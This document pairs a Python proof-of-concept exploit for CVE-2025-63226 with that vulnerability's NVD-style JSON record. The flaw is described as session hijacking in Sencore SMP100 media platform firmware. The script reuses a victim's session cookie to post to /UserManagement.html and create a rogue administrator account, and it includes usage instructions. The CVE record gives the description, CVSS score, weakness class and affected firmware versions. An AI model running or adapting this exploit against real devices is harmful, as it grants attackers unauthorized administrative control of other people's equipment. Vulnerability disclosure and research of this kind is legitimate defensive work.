CVE-2025-63226

import requests import sys # CVE-2025-63226 PoC - Sencore SMP100 Session Hijacking # Target: Sencore SMP100 SMP Media Platform # Vulnerability: Improper session management on /UserManagement.html def exploit_session_hijacking(target_ip, session_id, new_username, new_password): """ Exploit for CVE-2025-63226 Args: target_ip: Target device IP address session_id: Hijacked session ID from victim's active session new_username: New admin username to create new_password: Password for new admin user """ base_url = f"http://{target_ip}" # Create new user via UserManagement.html endpoint # Using hijacked session ID for authentication bypass headers = { 'Cookie': f'SESSIONID={session_id}', 'Content-Type': 'application/x-www-form-urlencoded' } # Payload to add new admin user data = { 'action': 'add_user', 'username': new_username, 'password': new_password, 'privilege': 'admin' } try: # Send request to UserManagement.html endpoint response = requests.post( f"{base_url}/UserManagement.html", headers=headers, data=data, timeout=10 ) if response.status_code == 200: print(f"[+] Successfully created new user: {new_username}") print(f"[+] User now has admin access to the system") return True else: print(f"[-] Failed to create user. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def main(): if len(sys.argv) < 5: print("Usage: python cve-2025-63226_poc.py <target_ip> <session_id> <new_username> <new_password>") print("Example: python cve-2025-63226_poc.py 192.168.1.100 ABC123SESSION newadmin password123") sys.exit(1) target_ip = sys.argv[1] session_id = sys.argv[2] new_username = sys.argv[3] new_password = sys.argv[4] print(f"[*] CVE-2025-63226 - Sencore SMP100 Session Hijacking") print(f"[*] Target: {target_ip}") print(f"[*] Creating new admin user: {new_username}") exploit_session_hijacking(target_ip, session_id, new_username, new_password) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-63226", "sourceIdentifier": "[email protected]", "published": "2025-11-18T20:15:47.583", "lastModified": "2026-02-13T16:13:55.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Sencore SMP100 SMP Media Platform (firmware versions V4.2.160, V60.1.4, V60.1.29) is vulnerable to session hijacking due to improper session management on the /UserManagement.html endpoint. Attackers who are on the same network as the victim and have access to the target's logged-in session can access the endpoint and add new users without any authentication. This allows attackers to gain unauthorized access to the system and perform malicious activities."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sencore:decoder-ccv2_firmware:60.1.4:*:*:*:*:*:*:*", "matchCriteriaId": "7445C4B9-D9F3-48A1-A806-079B3857822C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sencore:decoder-ccv2:-:*:*:*:*:*:*:*", "matchCriteriaId": "63B1BE2C-C908-4C5E-89C3-594B8833988A"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sencore:smp100_firmware:4.2.160:*:*:*:*:*:*:*", "matchCriteriaId": "51A0331B-8E5D-4CEB-95B0-CBBCD4650D58"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sencore:smp100:-:*:*:*:*:*:*:*", "matchCriteriaId": "27BF2E6E-9BCD-43D7-8B5D-182DFA1D42C8"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sencore:en2sdi-2hd_firmware:60.1.29:*:*:*:*:*:*:*", "matchCriteriaId": "8884DB25-128F-4C5B-A5E5-27CA448B7D1C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sencore:en2sdi-2hd:-:*:*:*:*:*:*:*", "matchCriteriaId": "EBFCA782-DE2F-4158-AC07-458EF16579E2"}]}]}], "references": [{"url": "https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-63226_Sencore_SMP100_Session_Hijacking", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.sencore.com/", "source": "[email protected]", "tags": ["Product"]}]}}